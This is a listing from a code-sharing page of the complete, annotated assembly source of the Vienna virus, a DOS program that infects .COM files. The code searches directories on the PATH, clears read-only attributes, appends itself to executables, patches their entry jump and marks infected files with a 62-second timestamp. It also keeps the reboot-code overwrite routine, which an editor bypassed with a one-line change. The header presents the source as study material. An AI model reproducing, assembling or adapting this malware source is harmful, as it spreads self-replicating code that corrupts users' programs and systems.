VIENNAB.ASM
上传用户:sdzykt
上传日期:2021-06-02
资源大小:6k
文件大小:26k
源码类别:

Windows编程

开发平台:

DOS

  1. ;*****************************************************************************
  2. ;
  3. ;         *** NOT FOR GENERAL DISTRIBUTION ***     The Vienna Virus
  4. ;
  5. ; This file is for the purpose of virus study only! It should not be passed
  6. ;  around among the general public. It will be very useful for learning
  7. ;  how viruses work and propagate. But anybody with access to an assembler
  8. ;  can turn it into a working virus and anybody with a bit of assembly coding
  9. ;  experience can turn it into a far more malevolent program than it already
  10. ;  is. Keep this code in responsible hands!
  11. ;
  12. ; This program does not check wether or not the .COM file to be infected is
  13. ;  really a .COM file or simply a misnamed .EXE file. DOS does not rely on the
  14. ;  file extension, but does a double-check by looking for a signature that
  15. ;  indicates wether or not a file REALLY is an .EXE file. The virus writer 
  16. ;  apparently did not know this. This virus will take any .EXE file that's 
  17. ;  been renamed to a .COM file and try to infect it, obscuring the signature 
  18. ;  that marks it as an .EXE file. When the infected file is then run, the
  19. ;  virus code will run first, and then the machine will try to run the .EXE
  20. ;  header data as though it were code. This is likely to crash the machine, and
  21. ;  since some later versions of DOS itself contain such misnamed .EXE files,
  22. ;  it's likely to happen.
  23. ;
  24. ;******************************************************************************
  25. ;******************************************************************************
  26. ;It seems that MASM won't always willingly translate ordinary assembly code
  27. ; into the byte-for-byte replacement of the code in the Vienna Virus. Since
  28. ; MASM is just a 2 pass assembler, it doesn't always have enough information to
  29. ; figure out the size of an instruction when it needs to. To be safe, it makes
  30. ; its guess on the high side and then adds in unrequested NOPS if it needs to
  31. ; pad out the space it allocated. Many of the NOPs in this virus are the result
  32. ; of this. But the virus writer seems to have done a bit of hand modification
  33. ; to the virus, and as a result, one instance where we'd expect a NOP, there
  34. ; isn't one. This macro allows us to mimic that instance, where an ordinary
  35. ; MOV CX,xx would otherwise have worked fine.
  36. ;******************************************************************************
  37. MOV_CX  MACRO   X
  38.         DB      0B9H
  39.         DW      X
  40. ENDM
  41. CODE    SEGMENT
  42.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  43.         ORG     $+0100H
  44. ;*****************************************************************************
  45. ;Start out with a JMP around the remains of the original .COM file, into the
  46. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  47. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  48. ;*****************************************************************************
  49. VCODE:  JMP     virus
  50. ;This was the rest  of the original .COM file. Tiny and simple, this time
  51.         NOP
  52.         NOP
  53.         NOP
  54.         NOP
  55.         NOP
  56.         NOP
  57.         NOP
  58.         NOP
  59.         NOP
  60.         NOP
  61.         NOP
  62.         NOP
  63.         NOP
  64.         NOP
  65.         NOP
  66. ;************************************************************
  67. ;              The actual virus starts here
  68. ;************************************************************
  69. v_start equ     $
  70. virus:  PUSH    CX
  71.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  72.                                         ; The 2nd and 3rd bytes get modified.
  73.         CLD                             ;Pointers will be auto INcremented
  74.         MOV     SI,DX                   ;Access data as offset from SI
  75.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  76.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  77.         MOV     CX,3
  78.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  79.         MOV     SI,DX                   ;Keep SI pointing to the data area
  80. ;*************************************************************
  81. ;                   Check the DOS version
  82. ;*************************************************************
  83.         MOV     AH,30H
  84.         INT     21H
  85.         CMP     AL,0                    ;0 means it's version 1.X
  86.         JNZ     dos_ok                  ;For version 2.0 or greater
  87.         JMP     quit                    ;Don't try to infect version 1.X
  88. ;*************************************************************
  89. ;  Here if the DOS version is high enough for this to work
  90. ;*************************************************************
  91. dos_ok: PUSH    ES
  92. ;*************************************************************
  93. ;               Get DTA address into ES:BX
  94. ;*************************************************************
  95.         MOV     AH,2FH
  96.         INT     21H
  97. ;*************************************************************
  98. ;                    Save the DTA address
  99. ;*************************************************************
  100.         MOV     [SI+old_dta],BX
  101.         MOV     [SI+old_dts],ES         ;Save the DTA address
  102.         POP     ES
  103. ;*************************************************************
  104. ;        Set DTA to point inside the virus data area
  105. ;*************************************************************
  106.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  107. ;       NOP                             ;MASM will add this NOP here
  108.         ADD     DX,SI                   ;Compute DTA address
  109.         MOV     AH,1AH
  110.         INT     21H                     ;Set new DTA to inside our own code
  111.         PUSH    ES
  112.         PUSH    SI
  113.         MOV     ES,DS:2CH
  114.         MOV     DI,0                    ;ES:DI points to environment
  115. ;************************************************************
  116. ;        Find the "PATH=" string in the environment
  117. ;************************************************************
  118. find_path:
  119.         POP     SI
  120.         PUSH    SI                      ;Get SI back
  121.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  122.         LODSB
  123.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  124.         REPNZ   SCASB                   ;Search for first character
  125.         MOV     CX,4
  126. ;************************************************************
  127. ;       Loop to check for the next four characters
  128. ;************************************************************
  129. check_next_4:
  130.         LODSB
  131.         SCASB
  132.         JNZ     find_path               ;If not all there, abort & start over
  133.         LOOP    check_next_4            ;Loop to check the next character
  134.         POP     SI
  135.         POP     ES
  136.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  137.         MOV     DI,SI
  138.         ADD     DI,wrk_spc              ;File name workspace
  139.         MOV     BX,SI                   ;Save a copy of SI
  140.         ADD     SI,wrk_spc              ;Point SI to workspace
  141.         MOV     DI,SI                   ;Point DI to workspace
  142.         JMP     SHORT   slash_ok
  143. ;**********************************************************
  144. ;     Look in the PATH for more subdirectories, if any
  145. ;**********************************************************
  146. set_subdir:
  147.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  148.         JNZ     found_subdir            ;If not, there are more subdirectories
  149.         JMP     all_done                ;Else, we're all done
  150. ;**********************************************************
  151. ;    Here if there are more subdirectories in the path
  152. ;**********************************************************
  153. found_subdir:
  154.         PUSH    DS
  155.         PUSH    SI
  156.         MOV     DS,ES:2CH               ;DS points to environment segment
  157.         MOV     DI,SI
  158.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  159.         ADD     DI,wrk_spc              ;DI points to file name workspace
  160. ;***********************************************************
  161. ;      Move subdirectory name into file name workspace
  162. ;***********************************************************
  163. move_subdir:
  164.         LODSB                           ;Get character
  165.         CMP     AL,';'                  ;Is it a ';' delimiter?
  166.         JZ      moved_one               ;Yes, found another subdirectory
  167.         CMP     AL,0                    ;End of PATH string?
  168.         JZ      moved_last_one          ;Yes
  169.         STOSB                           ;Save PATH marker into [DI]
  170.         JMP     SHORT   move_subdir
  171. ;******************************************************************
  172. ; Mark the fact that we're looking through the final subdirectory
  173. ;******************************************************************
  174. moved_last_one:
  175.         MOV     SI,0
  176. ;******************************************************************
  177. ;              Here after we've moved a subdirectory
  178. ;******************************************************************
  179. moved_one:
  180.         POP     BX                      ;Pointer to virus data area
  181.         POP     DS                      ;Restore DS
  182.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  183.         NOP
  184. ;******************************************************************
  185. ;             Make sure subdirectory ends in a ""
  186. ;******************************************************************
  187.         CMP     CH,''                  ;Ends with ""?
  188.         JZ      slash_ok                ;If yes
  189.         MOV     AL,''                  ;Add one, if not
  190.         STOSB
  191. ;******************************************************************
  192. ;     Here after we know there's a backslash at end of subdir
  193. ;******************************************************************
  194. slash_ok:
  195.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  196.         MOV     SI,BX                   ;Restore SI
  197.         ADD     SI,f_spec               ;Point to "*.COM"
  198.         MOV     CX,6
  199.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  200.         MOV     SI,BX
  201. ;*******************************************************************
  202. ;                 Find first string matching *.COM
  203. ;*******************************************************************
  204.         MOV     AH,4EH
  205.         MOV     DX,wrk_spc
  206. ;       NOP                             ;MASM will add this NOP here
  207.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  208.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  209.         INT     21H
  210.         JMP     SHORT   find_first
  211. ;*******************************************************************
  212. ;              Find next ASCIIZ string matching *.COM
  213. ;*******************************************************************
  214. find_next:
  215.         MOV     AH,4FH
  216.         INT     21H
  217. find_first:
  218.         JNB     found_file              ;Jump if we found it
  219.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  220. ;*******************************************************************
  221. ;                      Here when we find a file
  222. ;*******************************************************************
  223. found_file:
  224.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  225.         AND     AL,1FH                  ;Mask to remove all but seconds
  226.         CMP     AL,1FH                  ;62 seconds -> already infected
  227.         JZ      find_next               ;If so, go find another file
  228.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  229.         JA      find_next               ;If too long, find another one
  230.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  231.         JB      find_next               ;Then go find another one
  232.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  233.         PUSH    SI                      ;Save SI
  234.         ADD     SI,dta_nam              ;Point SI to file name
  235. ;********************************************************************
  236. ;                Move the name to the end of the path
  237. ;********************************************************************
  238. more_chars:
  239.         LODSB
  240.         STOSB
  241.         CMP     AL,0
  242.         JNZ     more_chars              ;Move characters until we find a 00
  243. ;********************************************************************
  244. ;                        Get File Attributes
  245. ;********************************************************************
  246.         POP     SI
  247.         MOV     AX,OFFSET 4300H
  248.         MOV     DX,wrk_spc              ;Point to pathname in workspace
  249. ;       NOP                             ;MASM will add this NOP here
  250.         ADD     DX,SI
  251.         INT     21H
  252.         MOV     [SI+old_att],CX         ;Save the old attributes
  253. ;********************************************************************
  254. ;         Rewrite the attributes to allow writing to the file
  255. ;********************************************************************
  256.         MOV     AX,OFFSET 4301H         ;Set attributes
  257.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  258.         MOV     DX,wrk_spc              ;Offset of pathname in workspace
  259. ;       NOP                             ;MASM will add this NOP here
  260.         ADD     DX,SI                   ;Point to pathname
  261.         INT     21H
  262. ;********************************************************************
  263. ;                Open Read/Write channel to the file
  264. ;********************************************************************
  265.         MOV     AX,OFFSET 3D02H         ;Read/Write
  266.         MOV     DX,wrk_spc              ;Offset to pathname in workspace
  267. ;       NOP                             ;MASM will add this NOP here
  268.         ADD     DX,SI                   ;Point to pathname
  269.         INT     21H
  270.         JNB     opened_ok               ;If file was opened OK
  271.         JMP     fix_attr                ;If it failed, restore the attributes
  272. ;*******************************************************************
  273. ;                        Get the file date & time
  274. ;*******************************************************************
  275. opened_ok:
  276.         MOV     BX,AX
  277.         MOV     AX,OFFSET 5700H
  278.         INT     21H
  279.         MOV     [SI+old_tim],CX         ;Save file time
  280.         MOV     [SI+ol_date],DX         ;Save the date
  281. ;*******************************************************************
  282. ;                        Get current system time
  283. ;*******************************************************************
  284.         MOV     AH,2CH
  285.         INT     21H
  286.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  287. ;*******************************************************************
  288. ; The following line is a change from the original virus. Originally
  289. ;  the following line would be JNZ seven_in_eight. This would ruin
  290. ;  about 1/8 of all .COM files infected, while the other 7/8 would
  291. ;  be left workable, but infected. For the purpose of studying a
  292. ;  live virus, the changed line is not so damaging.
  293. ;*******************************************************************
  294.         JMP     SHORT   seven_in_eight
  295. ;*******************************************************************
  296. ; The special "one in eight" infection. If the above line were in
  297. ;  its original form, this code would be run 1/8 of the time, and
  298. ;  rather than appending a copy of this virus to the .COM file, the
  299. ;  file would get 5 bytes of code that reboot the system when the
  300. ;  .COM file is run.
  301. ;*******************************************************************
  302.         MOV     AH,40H                  ;Write to file
  303.         MOV     CX,5                    ;Five bytes
  304.         MOV     DX,SI
  305.         ADD     DX,reboot               ;Offset of reboot code in data area
  306.         INT     21H
  307.         JMP     SHORT   fix_time_stamp
  308.         NOP
  309. ;******************************************************************
  310. ;      Here's where we infect a .COM file with this virus
  311. ;******************************************************************
  312. seven_in_eight:
  313.         MOV     AH,3FH
  314.         MOV     CX,3
  315.         MOV     DX,first_3
  316. ;       NOP                     ;MASM will add this NOP here
  317.         ADD     DX,SI
  318.         INT     21H             ;Save first 3 bytes into the data area
  319.         JB      fix_time_stamp  ;Quit, if read failed
  320.         CMP     AX,3            ;Were we able to read all 3 bytes?
  321.         JNZ     fix_time_stamp  ;Quit, if not
  322. ;******************************************************************
  323. ;              Move file pointer to end of file
  324. ;******************************************************************
  325.         MOV     AX,OFFSET 4202H
  326.         MOV     CX,0
  327.         MOV     DX,0
  328.         INT     21H
  329.         JB      fix_time_stamp  ;Quit, if it didn't work
  330.         MOV     CX,AX           ;DX:AX (long int) = file size
  331.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  332.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  333.         ADD     CX,OFFSET c_len_y
  334.         MOV     DI,SI           ;Point DI to virus data area
  335.         SUB     DI,OFFSET c_len_x
  336.                                 ;Point DI to reference vir_dat, at start of pgm
  337.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  338. ;*******************************************************************
  339. ;                    Write virus code to file
  340. ;*******************************************************************
  341.         MOV     AH,40H
  342.         MOV_CX  virlen                  ;Length of virus, in bytes
  343.         MOV     DX,SI
  344.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  345.                                         ; address of virus code in memory
  346.         INT     21H
  347.         JB      fix_time_stamp          ;Jump if error
  348.         CMP     AX,OFFSET virlen        ;All bytes written?
  349.         JNZ     fix_time_stamp          ;Jump if error
  350. ;**********************************************************************
  351. ;                Move file pointer to beginning of the file
  352. ;**********************************************************************
  353.         MOV     AX,OFFSET 4200H
  354.         MOV     CX,0
  355.         MOV     DX,0
  356.         INT     21H
  357.         JB      fix_time_stamp          ;Jump if error
  358. ;**********************************************************************
  359. ;              Write the 3 byte JMP at the start of the file
  360. ;**********************************************************************
  361.         MOV     AH,40H
  362.         MOV     CX,3
  363.         MOV     DX,SI                   ;Virus data area
  364.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  365.         INT     21H
  366. ;**********************************************************************
  367. ;       Restore old file date & time, with seconds modified to 62
  368. ;**********************************************************************
  369. fix_time_stamp:
  370.         MOV     DX,[SI+ol_date]         ;Old file date
  371.         MOV     CX,[SI+old_tim]         ;Old file time
  372.         AND     CX,OFFSET 0FFE0H
  373.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  374.         MOV     AX,OFFSET 5701H
  375.         INT     21H
  376. ;**********************************************************************
  377. ;                              Close File
  378. ;**********************************************************************
  379.         MOV     AH,3EH
  380.         INT     21H
  381. ;**********************************************************************
  382. ;                     Restore Old File Attributes
  383. ;**********************************************************************
  384. fix_attr:
  385.         MOV     AX,OFFSET 4301H
  386.         MOV     CX,[SI+old_att]         ;Old Attributes
  387.         MOV     DX,wrk_spc
  388. ;       NOP                             ;MASM will add this NOP
  389.         ADD     DX,SI                   ;DX points to pathname in workspace
  390.         INT     21H
  391. ;**********************************************************************
  392. ;              Here when it's time to close it up & end
  393. ;**********************************************************************
  394. all_done:
  395.         PUSH    DS
  396. ;**********************************************************************
  397. ;                         Restore old DTA
  398. ;**********************************************************************
  399.         MOV     AH,1AH
  400.         MOV     DX,[SI+old_dta]
  401.         MOV     DS,[SI+old_dts]
  402.         INT     21H
  403.         POP     DS
  404. ;*************************************************************************
  405. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  406. ;  in since the address in a real JMP 100 is an offset, and the offset
  407. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  408. ;  stack, we can RET to address 0100H just as though we JMPed there.
  409. ;**********************************************************************
  410. quit:
  411.         POP     CX
  412.         XOR     AX,AX
  413.         XOR     BX,BX
  414.         XOR     DX,DX
  415.         XOR     SI,SI
  416.         MOV     DI,OFFSET 0100H
  417.         PUSH    DI
  418.         XOR     DI,DI
  419.         RET     0FFFFH
  420. ;************************************************************************
  421. ;The virus data starts here. It's accessed off the SI register, per the
  422. ; comments as shown
  423. ;************************************************************************
  424. vir_dat EQU     $
  425.         ;Use this with (SI + old_dta)
  426. olddta_ DW      0                       ;Old DTA offset
  427.         ;Use this with (SI + old_dts)
  428. olddts_ DW      0                       ;Old DTA segment
  429.         ;Use this with (SI + old_tim)
  430. oldtim_ DW      0                       ;Old Time
  431.         ;Use this with (SI + ol_date)
  432. oldate_ DW      0                       ;Old date
  433.         ;Use this with (SI + old_att)
  434. oldatt_ DW      0                       ;Old file attributes
  435. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  436. first3_ EQU     $
  437.         INT     20H
  438.         NOP
  439. ;Here's where the new JMP instruction is worked out
  440.         ;Use this with (SI + jmp_op)
  441. jmpop_  DB      0E9H                    ;Start of JMP instruction
  442.         ;Use this with (SI + jmp_dsp)
  443. jmpdsp_ DW      0                       ;The displacement part
  444. ;This is the type of file  we're looking to infect. (SI + f_spec)
  445. fspec_  DB      '*.COM',0
  446.         ;Use this with (SI + path_ad)
  447. pathad_ DW      0                       ;Path address
  448.         ;Use this with (SI + nam_ptr)
  449. namptr_ DW      0                       ;Pointer to start of file name
  450.         ;Use this with (SI + env_str)
  451. envstr_ DB      'PATH='                 ;Find this in the environment
  452.         ;File name workspace (SI + wrk_spc)
  453. wrkspc_ DB      40h dup (0)
  454.         ;Use this with (SI + dta)
  455. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  456.         ;Use this with (SI + dta_tim)
  457. dtatim_ DW      0,0                     ;Time stamp in DTA
  458.         ;Use this with (SI + dta_len)
  459. dtalen_ DW      0,0                     ;File length in the DTA
  460.         ;Use this with (SI + dta_nam)
  461. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  462.         ;Use this with (SI + reboot)
  463. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  464. lst_byt EQU     $                       ;All lines that assemble into code are
  465.                                         ;  above this one
  466. ;*****************************************************************************
  467. ;The virus needs to know a few details about its own size and the size of its
  468. ; code portion. Let the assembler figure out these sizes automatically.
  469. ;*****************************************************************************
  470. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  471. codelen =       vir_dat - v_start       ;Length of virus code, only
  472. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  473. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  474. ;*****************************************************************************
  475. ;Because this code is being appended to the end of an executable file, the
  476. ; exact address of its variables cannot be known. All are accessed as offsets
  477. ; from SI, which is represented as vir_dat in the below declarations.
  478. ;*****************************************************************************
  479. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  480. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  481. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  482. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  483. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  484. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  485. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  486. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  487. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  488. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  489. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  490. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  491. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  492. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  493. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  494. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  495. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  496. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  497.         CODE    ENDS
  498. END     VCODE